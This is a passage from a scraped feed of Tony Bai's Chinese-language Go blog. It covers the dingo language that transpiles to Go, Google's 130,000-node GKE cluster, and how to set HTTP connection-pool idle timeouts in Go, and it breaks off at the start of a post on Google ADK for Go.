href=\"https://tonybai.com/2025/11/28/go-2026-roadmap-revealed\"\u003ehttps://tonybai.com/2025/11/28/go-2026-roadmap-revealed\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在最近的一期 \u003ca href=\"https://github.com/golang/go/issues/43930#issuecomment-3576250284\"\u003eGo 编译器与运行时团队会议纪要\u003c/a\u003e中，我们惊喜地发现了一份关于 \u003cstrong\u003e2026 年的规划 (2026 planning，如下图)\u003c/strong\u003e。这份规划虽然简短，但其包含的信息量却足以让任何一位关注 Go 语言未来的开发者心跳加速。\u003c/p\u003e","title":"Go 2026 路线图曝光：SIMD、泛型方法与无 C 工具链 CGO —— 性能与表达力的双重飞跃？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/27/dingo-go-typescript-moment\n大家好，我是Tony Bai。\nGo 语言自诞生以来，以其极简主义哲学（Simplicity）赢得了全球开发者的青睐。然而，这种极简也伴随着长期的痛点：\n满屏的 if err != nil。 缺失的和类型（Sum Types/Enums），导致状态表达含糊。 nil 指针带来的运行时 panic 风险。 泛型虽已到来，但函数式编程体验（如 map/filter）依然匮乏。 在每年的 Go User Survey 中，这些问题总是名列前茅。\nGopher们渴望“越狱”，但Go 核心团队对此保持审慎，这不仅是为了保持语言的纯粹，也是为了向后兼容。\n一个名为dingo 的开源项目的出现，试图打破这一僵局。它自称是 “逃逸的 Go”（Go that escaped）。就像 TypeScript 之于 JavaScript，dingo 试图在不改变 Go 运行时、不引入额外依赖的前提下，通过编译时转译，为 Gopher 们提供现代化的语法糖和类型安全。\n在本文中，我们就来深入剖析 dingo 的核心机制与创新语法，看看它是如何在保持 Go 零运行时开销的同时，实现那些 Gopher 们梦寐以求的现代语言特性的。\ndingo 是什么？ 简单来说，dingo 是一门元语言（Meta-language）。它拥有类似 Rust 或 TypeScript 的现代语法，但最终会被编译成纯粹的、符合惯例的 Go 代码。\n其核心价值主张包括：\n零运行时开销：编译产物就是标准的 Go 代码，性能与原生 Go 完全一致。 向后兼容：可以直接引入现有的 Go 包，生成的代码也可以被其他 Go 项目引用。 类型安全增强：引入 Option 和 Result 类型，语法层面消灭空指针异常。 人体工程学升级：通过?操作符和模式匹配(Pattern matching)，大幅减少样板代码。 注：为什么叫 dingo（澳洲野犬）？dingo项目的README 中有一个有趣的隐喻：Go 的吉祥物 Gopher（地鼠）是规矩的、被管理的；而 dingo（澳洲野犬）曾是家犬，后来逃入荒野，恢复了野性。dingo 语言依然保留了 Go 的基因，但它拒绝被传统的规则束缚——它代表了未经许可的自由。\n核心特性与代码对比 dingo 并非为了标新立异，而是为了解决实际问题。以下是它如何通过转译解决 Go 的四大痛点：\n错误传播：告别 if err != nil Go 的错误处理不仅啰嗦，而且容易打断阅读逻辑。dingo 引入了类似 Rust 的 ? 操作符。\ndingo 写法：\n// 看起来像 Rust，实际上是 Go 的超集 func processOrder(orderID: string) -\u0026gt; Result\u0026lt;Order, Error\u0026gt; { let order = fetchOrder(orderID)? // 如果出错，直接返回 Err let validated = validateOrder(order)? // 自动解包 Ok 的值 let payment = processPayment(validated)? return Ok(payment) } 转译后的 Go 代码（自动生成）：\nfunc processOrder(orderID string) (Order, error) { order, err := fetchOrder(orderID) if err != nil { return Order{}, err } validated, err := validateOrder(order) if err != nil { return Order{}, err } // ...以此类推 } 我们从上面示例代码的字面上就能看到收益：样板代码减少约 67%，业务逻辑一目了然。\nSum类型与模式匹配 这是 Go 社区呼声最高的功能之一（[Proposal #19412](在本文中，我们就来深入剖析 Dingo 的核心机制与创新语法，看看它如何在保持 Go 零运行时开销的同时，实现那些 Gopher 们梦寐以求的现代语言特性。)）。dingo 通过 enum 和 match 完美实现了这一点。\ndingo 写法：\nenum Shape { Circle { radius: float64 }, Rectangle { width: float64, height: float64 }, Point, } func area(s: Shape) -\u0026gt; float64 { match s { Circle(r) =\u0026gt; 3.14 * r * r, Rectangle(w, h) =\u0026gt; w * h, Point =\u0026gt; 0.0 } } dingo 将 enum 转译为 Go 的 struct + tag（标签联合体），并生成辅助方法（如 IsCircle(), NewCircle()）。match 语句在编译时会进行穷尽性检查（Exhaustiveness Checking），如果你漏掉了一种情况，编译就会报错。\n3. 空值安全 受 Swift 和 Kotlin 启发，dingo 引入了安全导航(Safe navigation)操作符 ?. 和空值合并操作符 ??。\ndingo 写法：\n// 还在写嵌套的 nil 检查吗？ let city = user?.address?.city?.name ?? \u0026#34;Unknown\u0026#34; 转译后的 Go 代码：\n这会被展开为一系列的 if 检查或立即执行函数表达式，确保不会发生 panic。\n4. 函数式编程工具 dingo 写法：\nlet numbers = []int{1, 2, 3, 4, 5} let doubled = numbers.filter(|x| x % 2 == 0).map(|x| x * 2) 支持 TypeScript 风格的箭头函数 (=\u0026gt;) 或 Rust 风格的管道符 (||)。\n技术架构与实现原理 dingo 的实现非常务实，它没有重写整个 Go 编译器，而是采用了两阶段转译架构：\n编译器架构 Stage 1: 预处理器 (Preprocessor)\n处理 dingo 特有的语法糖（如 ? 操作符、enum 定义、类型注解 : Type）。 使用基于正则和文本的转换，将 dingo 代码转换为“合法的”但包含特殊标记的 Go 代码。 Stage 2: AST 转换 (Plugin System)\n利用 Go 原生的 go/parser 解析代码。 通过插件系统（Plugins）对 AST（抽象语法树）进行语义层面的转换。例如，将 Result 展开为具体的 struct 定义。 Code Generation: 最后使用 go/printer 输出格式化好的 Go 代码。\nIDE 支持的秘密武器：Source Maps 许多转译语言失败的原因是调试体验差——报错指向生成的代码，而不是源码。\ndingo 实现了精确的 Source Maps (v1 格式)。\n它建立 .dingo 文件和生成 .go 文件之间的双向映射。 LSP 集成：dingo 开发了一个 LSP 代理（Proxy），它包装了官方的 gopls。当你请求“跳转定义”时，代理拦截请求，利用 Source Map 将位置从 dingo 坐标转换到 Go 坐标，发送给 gopls，拿到结果后再转换回来。这样，你在 VS Code 中写 dingo，享受的是 Go 级别的智能提示和重构能力。 混合包管理策略 dingo 采用了一种聪明的混合策略来解决生态兼容性：\n应用开发：保留 .dingo 文件，忽略生成的 .go 文件。开发体验类似 TypeScript。 库开发：在发布时，将 .dingo 转译为 .go 并提交到版本控制系统。 意义：任何纯 Go 项目都可以 go get 一个用 dingo 写的库，而不需要安装 dingo。这是生态融合的关键。 哲学与争议：为什么这很重要？ dingo 的 项目说明文档中提出了一个深刻的观点：“自私地使用 dingo，顺便推动 Go 的演进。”\nTypeScript 最初并非为了改变 JavaScript 标准，而是为了让开发者在大项目中活下来。但随着 TS 的普及（Async/Await, Optional Chaining），这些特性最终被吸纳进 ECMAScript 标准。\ndingo的对 Go 核心团队的参考价值，和TS类似。\nGo 核心团队在引入新特性时非常依赖“证据”而非“理论”。 Proposal #19412 尚未被accept，是因为缺乏 Go 语境下的具体实现范例。但 dingo 如果能拥有 5 万开发者，它就提供了一份实证数据：\n“使用了 ? 操作符的项目，代码量减少了 X%。” “和类型在 Go 的 runtime 上运行良好，并没有导致性能下降。” 因此，dingo 不是 Go 的竞争者，它是 Go 未来的沙盒。\n上手指南与现状 目前，截至本文编写时， dingo 还处于 v0.3.0-alpha 阶段，主要核心特性（Sum类型、模式匹配、错误传播、LSP 支持）完成度还不高，仅适合向往拥有Rust、TypeScript等表达力更强的语法的Gopher尝鲜体验之用。\n快速安装 # 克隆仓库并构建编译器 git clone https://github.com/MadAppGang/dingo.git 或 git clone --depth=1 git@github.com:MadAppGang/dingo.git cd dingo \u0026amp;\u0026amp; go build -o dingo ./cmd/dingo # 将 dingo 加入环境变量 (可选) export PATH=$PATH:$(pwd) 验证安装结果：\n# dingo version Hello World # 编写 hello.dingo package main func main() { let msg = \u0026#34;Hello from dingo\u0026#34; println(msg) } # 编译并运行（dingo 会自动调用 Go 编译器） dingo run hello.dingo 运行过程中，dingo会生成转义后的hello.go代码：\npackage main func main() { msg := \u0026#34;Hello from dingo\u0026#34; println(msg) } 大家通过转义后的代码，也可以看到它的转换过程和原理。\n小结 dingo 是一个大胆的实验。它证明了我们可以在不分叉 Go 语言、不分裂生态系统的前提下，拥有现代化的语言特性。\n不过，目前dingo的完成度还非常低，很多项目自带的example都build/run failed，这也是本篇文章可以运行的示例较少的原因:(。根据作者的Roadmap，目前很多新增的语法特性还处于未完成阶段。\n但对于 Gopher 来说，如果你厌倦了 if err != nil，将来一旦完成度上来的dingo 很值得一试。即使你坚持使用纯 Go，dingo 的存在也是一件好事——它是一只被放入沙丁鱼群的鲶鱼，或许能激活 Go 语言演进的一池春水。\n正如dingo项目宣言所说：这是你的语言，你的规则。无需委员会批准。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/27/dingo-go-typescript-moment/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/dingo-go-typescript-moment-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/27/dingo-go-typescript-moment\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/27/dingo-go-typescript-moment\"\u003ehttps://tonybai.com/2025/11/27/dingo-go-typescript-moment\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eGo 语言自诞生以来，以其极简主义哲学（Simplicity）赢得了全球开发者的青睐。然而，这种极简也伴随着长期的痛点：\u003c/p\u003e","title":"dingo：Go 语言的 “TypeScript”时刻？—— 一场由社区驱动的语言演进实验"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster\n大家好，我是Tony Bai。\nKubernetes 的官方支持上限通常被认为是 5,000 到 15,000 节点。然而，在 AI 时代的算力军备竞赛中，这个数字显得有些“捉襟见肘”。\n近日，Google Cloud 发布了一份重磅技术报告，揭示了他们如何在 GKE (Google Kubernetes Engine) 上成功运行了一个130,000 节点的超大规模集群——这是目前已知全球最大的 Kubernetes 集群，其规模是 GKE 官方支持上限（65,000 节点）的两倍，更是开源 Kubernetes 社区上限的近十倍。\n这不是一次规模的堆砌，而是一次涉及控制平面、调度器、存储和网络的系统级工程实践，极具参考价值。Google 是如何做到的？让我们深入其架构内部，一探究竟。\n背景：AI 时代的“巨兽”需求 推动这一极限挑战的核心动力，是日益庞大的 AI 工作负载。随着大模型训练对算力需求的指数级增长，客户不再满足于万卡集群，而是向着 10万节点 的规模进军。\n在这个量级下，挑战不仅来自芯片的短缺，更来自电力和数据中心的物理限制。一个拥有数万块高性能 GPU 的集群，其功耗可能高达数百兆瓦，必须跨越多个数据中心部署。这要求 Kubernetes 不仅要管理庞大的资源，还要具备跨故障域、跨数据中心的极致编排能力。\n核心创新：四大技术支柱 为了支撑起这座“13万节点”的摩天大楼，Google 对 Kubernetes 的底层架构进行了四项关键的“手术”。\n1. 读操作的极致优化：一致性缓存 在 13 万节点的集群中，数以百万计的 Pod 和对象会产生海量的 API 请求。如果所有读请求都直接打到 etcd（或 GKE 使用的 Spanner），数据库瞬间就会被压垮。\nGoogle 的解决方案是：让 API Server 直接从内存缓存中服务读请求，同时保证强一致性。\n具体来说，就是通过引入 Consistent Reads from Cache (KEP-2340)，API Server 可以利用其内存中的 Watch Cache 来服务 GET 和 LIST 请求。\n系统会确保缓存中的数据在服务请求前是可验证的最新状态（verifiably up-to-date），从而在不牺牲一致性的前提下，大幅降低了底层数据库的压力。\n同时，通过 Snapshottable API Server Cache (KEP-4988)，API Server 甚至可以直接从内存中构建 B-tree 快照，来服务带有 resourceVersion 的历史数据查询，彻底消除了“读放大”问题。\n2. 存储后端的无限扩展：基于 Spanner 的分布式键值存储 标准的 Kubernetes 使用 etcd 作为存储后端，但在 13 万节点的规模下，etcd 的容量和吞吐量成为了瓶颈。\nGKE 替换了这一层，使用了一个基于 Google Spanner 的专有键值存储系统。\n性能数据：在测试中，该存储系统轻松支撑了 13,000 QPS 的租约 (Lease) 更新操作，确保了 13 万个节点的健康检查心跳畅通无阻。 容量：在峰值时，数据库中存储了超过 100 万个 Kubernetes 对象，依然保持了极低的延迟和极高的稳定性。 3. 调度器的进化：Kueue 与工作负载感知 默认的 Kubernetes 调度器是“Pod 中心”的，它一个个地调度 Pod。但这对于 AI 训练任务来说远远不够——AI 任务通常需要“全有或全无” (All-or-Nothing) 的调度保证（即 Gang Scheduling）。\nGoogle 引入了 Kueue，一个构建在原生调度器之上的作业级 (Job-level) 队列管理器。Kueue 负责决定何时接纳一个作业，基于配额、优先级和公平策略进行裁决。它实现了Gang Scheduling，确保一个训练任务的所有 Pod 要么全部启动，要么全部排队，避免了资源死锁。\n4. 数据访问的加速：GCS FUSE 与本地化缓存 对于 AI 训练，数据加载速度至关重要。GKE 利用 Cloud Storage FUSE 配合并行下载和区域性缓存 (Anywhere Cache)，让存储在 GCS 对象存储中的海量数据，能像本地文件系统一样被 Pod 高速访问。这使得数据加载延迟降低了 70%，确保了 GPU 不会因为等待数据而空转。\n实战演练：一场 13 万节点的压力测试 为了验证这套架构，Google 设计了一个包含四个阶段的极限压力测试，模拟了真实的 AI 生产环境。下图展示了整个测试的时间线和四个关键阶段。\n图注：13万节点压力测试的完整执行时间线\n阶段一：基线测试 —— 1000 Pods/秒的狂飙 在一个空集群中，一次性启动 130,000 个 Pod 的大规模训练任务。结果显示，控制平面极其稳定，支撑了高达 1,000 Pods/秒 的创建和调度吞吐量。\n图注：控制平面的吞吐量监控\n阶段二：混合负载与争抢 —— Kueue 的“铁腕” 测试引入了大量低优先级的批处理作业填满集群，然后突然提交高优先级的微调任务。此时，Kueue 展现了惊人的动态调整能力：它在 93 秒内精准抢占了 39,000 个低优 Pod，瞬间腾出资源给高优任务。\n图注：Kueue 正在进行资源调度\n阶段三与四：突发流量与弹性恢复 在第三阶段，模拟了“双十一”式的流量洪峰，提交最高优先级的推理服务。系统再次平稳应对，甚至在极高负载下，推理 Pod 的 P99 启动延迟仍控制在 10 秒左右，这对于对延迟敏感的在线服务至关重要。\n图注：不同负载类型下的 Pod 启动延迟 最后，当流量退去，系统自动释放资源，重新接纳之前被挂起的低优任务，实现了资源的完美闭环和极致利用。\n小结：这就是未来的基础设施 Google 的这次 13 万节点实验，不仅是秀肌肉，更是为整个云原生社区指明了方向。它证明了 Kubernetes 在经过合理的架构优化后，完全有能力承载 AI 时代最苛刻的算力需求。\n从内存一致性缓存到工作负载感知的调度，这些在极限场景下打磨出的技术创新，最终都会反哺到普通的 GKE 集群，甚至回馈给开源社区（如 Kueue 和 KEP 提案）。\n对于我们每一位架构师而言，这都是生动的一课：真正的可扩展性，不仅仅是堆砌硬件，更是对系统每一个环节——从读写路径到调度逻辑——进行极致的工程优化。\n资料链接：https://cloud.google.com/blog/products/containers-kubernetes/how-we-built-a-130000-node-gke-cluster/\n聊聊你对“规模极限”的看法\nGoogle的13万节点集群，为我们展示了云原生技术栈在AI时代的巨大潜力。在你看来，Kubernetes或其他云原生技术的下一个“物理极限”会是什么？除了Google提到的这四项优化，你认为还有哪些关键技术能帮助我们突破规模的瓶颈？或者，你在自己的工作中，遇到过哪些有趣的“规模化”挑战和解决方案？\n欢迎在评论区留下你的真知灼见，让我们一起探讨未来基础设施的模样！\n如果这篇文章让你对大规模系统设计有了新的启发，别忘了点个【赞】和【在看】，并分享给更多对技术极限充满好奇的同伴！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/how-google-built-a-130000-node-k8s-cluster-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster\"\u003ehttps://tonybai.com/2025/11/26/how-google-built-a-130000-node-k8s-cluster\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eKubernetes 的官方支持上限通常被认为是 5,000 到 15,000 节点。然而，在 AI 时代的算力军备竞赛中，这个数字显得有些“捉襟见肘”。\u003c/p\u003e\n\u003cp\u003e近日，Google Cloud 发布了一份\u003ca href=\"https://cloud.google.com/blog/products/containers-kubernetes/how-we-built-a-130000-node-gke-cluster/\"\u003e重磅技术报告\u003c/a\u003e，揭示了他们如何在 GKE (Google Kubernetes Engine) 上成功运行了一个\u003cstrong\u003e130,000 节点\u003c/strong\u003e的超大规模集群——这是目前已知全球最大的 Kubernetes 集群，其规模是 GKE 官方支持上限（65,000 节点）的两倍，更是开源 Kubernetes 社区上限的近十倍。\u003c/p\u003e","title":"13万节点！Google 如何打破 Kubernetes 的物理极限，构建全球最大集群"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/25/who-killed-your-http-connection-traps-of-connection-pooling\n大家好，我是Tony Bai。\n你是否在生产环境中遇到过偶现的 EOF、connection reset by peer 或 unexpected end of stream 错误？\n你是否检查了代码逻辑、防火墙规则甚至抓了包，发现应用层一切正常，但请求就是偶尔会失败？\n最令人费解的是，这往往发生在低频请求的场景下，或者系统刚从闲置状态“醒来”的时候。\n很多开发者——无论是写 Android 的还是写 Go 的——往往将目光局限在代码逻辑层面。然而，在云原生时代，应用代码只是庞大网络链路中的一环。本文将以一个真实的跨云通信故障为引子，深入探讨 HTTP 连接池（Connection Pool）中 Idle Timeout 的机制，并以 Go 语言为例，给出最佳实践配置。\n案发现场：一个“幽灵”般的报错 最近，我们在排查一个跨云调用的故障时发现了一个经典现象：\n客户端：运行在容器内的应用，使用okhttp的 HTTP 连接池（Keep-Alive）。 服务端：部署在公有云上的 SaaS 服务，前端挂载了负载均衡器（LB）。 现象：偶现网络请求失败，报错 unexpected end of stream。 排查：客户端 SNAT 设置了长达 1 小时的 TCP 保持时间，网络链路非常稳定。服务端日志却显示“没收到请求”。 真相是：连接被“静默”关闭了。\n在 HTTP Keep-Alive 机制下，为了性能，客户端会复用空闲的 TCP 连接。但是，每条连接都要经过复杂的网络链路：客户端 -\u0026gt; NAT 网关 -\u0026gt; 互联网 -\u0026gt; 负载均衡器 (LB) -\u0026gt; 服务端。\n这是一个典型的“木桶效应”：连接的有效存活时间，取决于整条链路中超时时间最短的那个节点。\n如果客户端的连接池认为连接能活 300秒(okhttp的默认值)，而中间的云厂商 LB 配置了 60秒 的空闲超时（Idle Timeout）：\n连接空闲到第 61 秒，LB 默默切断了连接。 客户端毫不知情（因为没有发包，可能没收到 FIN/RST，或者收到了没处理）。 第 100 秒，客户端复用这条“僵尸连接”发请求，直接撞墙，报错 EOF。 Go 语言中的默认“陷阱” 在 Go 语言中，net/http 标准库提供了非常强大的连接池管理，主要由 http.Transport 结构体控制。但是，Go 的默认配置在现代云环境中也并不总是安全的。\n让我们看看 Go (1.25.3) 的 DefaultTransport 源码片段：\nvar DefaultTransport RoundTripper = \u0026amp;Transport{ Proxy: ProxyFromEnvironment, DialContext: defaultTransportDialContext(\u0026amp;net.Dialer{ Timeout: 30 * time.Second, KeepAlive: 30 * time.Second, // TCP层面的KeepAlive探活间隔 }), ForceAttemptHTTP2: true, MaxIdleConns: 100, IdleConnTimeout: 90 * time.Second, // \u0026lt;--- 关键点在这里！ TLSHandshakeTimeout: 10 * time.Second, ExpectContinueTimeout: 1 * time.Second, } 注意看 IdleConnTimeout: 90 * time.Second。\n这意味着，Go 的 HTTP 客户端默认会保持空闲连接 90秒。\n冲突爆发点 现在主流公有云的负载均衡器（AWS ALB, 阿里云 SLB, Google LB 等）的默认 Idle Timeout 通常是多少？\nAWS ALB: 默认为 60秒。 阿里云 SLB: 默认为 60秒 (TCP监听可能不同，但HTTP/7层通常较短)。 Nginx (默认): keepalive_timeout 往往设为 65秒 或 75秒。 风险显而易见： Go 客户端认为连接在 60~90 秒之间是可用的，但云端的 LB 已经在第 60 秒把它杀掉了。这就导致了那 30 秒的时间窗口内，复用连接必定失败。\n黄金法则：连接池配置指南 要彻底解决这个问题，开发者（无论是 Go, Java 还是 Node.js）必须遵循一条核心的配置原则：\nClient Idle Timeout \u0026lt; Infrastructure Idle Timeout \u0026lt; Server KeepAlive Timeout\n客户端的空闲超时时间，必须小于链路中任何中间设备（LB, NAT, Firewall）的超时时间。\n建议将客户端的空闲超时设置为 中间设备超时时间减去 5~10 秒 的安全缓冲。对于大多数公有云环境，30秒 ~ 45秒 是一个极其安全的数值。\nGo 实战：如何正确配置 http.Client 不要直接使用 http.Get() 或 \u0026amp;http.Client{}（它们使用默认 Transport）。在生产级代码中，你应该总是显式定义 Transport。\n推荐配置示例 package main import ( \u0026#34;net\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; ) func NewProductionHttpClient() *http.Client { // 自定义 Transport t := \u0026amp;http.Transport{ // 1. 优化拨号逻辑 DialContext: (\u0026amp;net.Dialer{ Timeout: 5 * time.Second, // 连接建立超时，不要太长 KeepAlive: 30 * time.Second, // TCP底层探活，防止死连接 }).DialContext, // 2. 连接池核心配置 // 这里的关键是：IdleConnTimeout 必须小于云厂商 LB 的超时时间 (通常是60s) // 设置为 30s 是比较稳妥的选择 IdleConnTimeout: 30 * time.Second, // 控制最大连接数，防止本地资源耗尽 MaxIdleConns: 100, MaxIdleConnsPerHost: 10, // 根据你的并发量调整，默认是2，太小会导致连接频繁创建销毁 TLSHandshakeTimeout: 5 * time.Second, // TLS 握手超时 ResponseHeaderTimeout: 10 * time.Second, // 等待响应头超时 } return \u0026amp;http.Client{ Transport: t, // 全局请求超时，包括连接+读写，作为兜底 Timeout: 30 * time.Second, } } 关键参数详解 IdleConnTimeout (最重要): * **含义**: 一个连接在归还给连接池后，允许空闲多久。 * **建议**: **30s – 45s**。这能保证客户端主动关闭连接，而不是被动等待服务端发送 RST，从而避免复用“陈旧连接(Stale Connection)”。 MaxIdleConnsPerHost: * **含义**: 针对**同一个目标 Host**，连接池里最多保留多少个空闲连接。Go 的默认值是 **2**。 * **坑点**: 在微服务高并发场景下，默认值 2 极小。这会导致请求并发上来时创建大量连接，请求处理完后只有 2 个能回池，剩下的全部被关闭。下次并发请求来时又要重新握手。 * **建议**: 根据你的 QPS 估算，通常建议设为 **10 ~ 50** 甚至更高。 DisableKeepAlives: * **调试用**: 如果你实在搞不定网络问题，可以将其设为 true，强制短连接（用完即关）。但这会显著降低性能，仅用于排查问题。 最后的防线：重试机制 即使你配置了完美的 Timeout，网络抖动依然不可避免。连接池配置只能降低 Stale Connection(陈旧连接) 的概率，不能 100% 消除。\n对于 幂等 (Idempotent) 的请求（如 GET, PUT, DELETE），应用层必须具备重试机制。\nGo 标准库 net/http 默认不会自动重试。你可以使用优秀的开源库如 hashicorp/go-retryablehttp，或者自行实现简单的重试逻辑：\n// 简单的重试逻辑伪代码 var err error for i := 0; i \u0026lt; 3; i++ { resp, err = client.Do(req) if err == nil { return resp, nil } // 只有特定的错误才重试，比如连接重置 if isConnectionReset(err) { continue } break } 小结 Infrastructure as Code 并不意味着你的代码可以忽略 Infrastructure 的物理限制。\n关于 HTTP 连接池，请记住这三点：\n不要相信默认值：OkHttp 的 5分钟，Go 的 90秒，在 60秒超时的公有云 LB 面前都是隐患。 主动示弱：客户端的空闲超时一定要比服务端和中间网关短。让客户端主动回收连接，永远比被服务端强行切断要安全。 拥抱失败：配置合理的重试策略，是构建健壮分布式系统的必修课。 下次再遇到 unexpected end of stream，先别急着怀疑人生，去检查一下你的 IdleTimeout 设置吧！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/25/who-killed-your-http-connection-traps-of-connection-pooling/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/who-killed-your-http-connection-traps-of-connection-pooling-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/25/who-killed-your-http-connection-traps-of-connection-pooling\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/25/who-killed-your-http-connection-traps-of-connection-pooling\"\u003ehttps://tonybai.com/2025/11/25/who-killed-your-http-connection-traps-of-connection-pooling\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e你是否在生产环境中遇到过偶现的 EOF、connection reset by peer 或 unexpected end of stream 错误？\u003c/p\u003e\n\u003cp\u003e你是否检查了代码逻辑、防火墙规则甚至抓了包，发现应用层一切正常，但请求就是偶尔会失败？\u003c/p\u003e","title":"谁“杀”死了你的 HTTP 连接？—— 揭秘云环境下连接池配置的隐形陷阱"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/24/google-adk-go-in-action\n大家好，我是Tony Bai。\n上周，我花了一个下午，仅仅是为了让一个Python写的Agent能稳定地调用我Go服务里的一个简单函数。在那一刻，看着屏幕上纠缠的gRPC、Python虚拟环境和混乱的日志，我脑海里只有一个念头：这不对劲，这绝对不是软件工程该有的样子！\n显然，不仅仅是我一个人在为此焦虑。\n就在最近，一个名为 google/adk-go 的项目悄然开源，并迅速霸榜 GitHub Go 语言趋势榜长达一周之久！ 全球的 Gopher 似乎都在用脚投票，表达着同一个渴望：我们受够了“炼丹”，我们要回归工程！\n过去的一年，AI 的浪潮席卷了整个技术圈。我们 Gopher，作为构建云原生世界的中坚力量，看着 Python 社区在 AI 领域“杀”得热火朝天，心中或许都有一个共同的疑问：\n“这场 AI 的盛宴，我们 Gopher 的主菜在哪儿？”\n我们习惯了用 goroutine 优雅地处理并发，用 channel 安全地传递消息，用静态编译的单个二进制文件征服任何服务器。我们是天生的**“工程师”，我们信奉的是可测试、可维护、可部署**的软件工程哲学。\n然而，当我们尝试踏入 AI Agent 的世界时，却常常感觉自己像一个闯入了“炼丹房”的“机械师”。面对那些需要反复“吟唱咒语”（调 Prompt）、结果飘忽不定的“丹炉”（模型），我们不禁会问：\n我的 Agent 行为不稳定，怎么写单元测试？ Prompt 稍微一改，整个“丹方”都可能失效，版本管理怎么做？ 我如何将这个“充满魔法”的 Python 脚本，与我现有的 Go 微服务体系优雅地集成，而不是变成一坨无法维护的“耦合怪”？ 这些问题，不是因为我们不懂 AI，而是因为我们太懂工程。我们厌倦了“炼丹”式的不确定性，我们渴望一种能将 AI 的强大能力，用严谨的工程纪律约束起来的解决方案。\n现在，Google 亲自下场，为我们递来了“工程图纸”。\nGoogle ADK for Go：写给工程师的 AI Agent 开发框架 这个霸榜的项目，全称是 Agent Development Kit (ADK) for Go。\n这不是又一个“玩具”或“研究性”框架。从它的设计理念中，我看到了一个清晰而坚定的信号——AI Agent 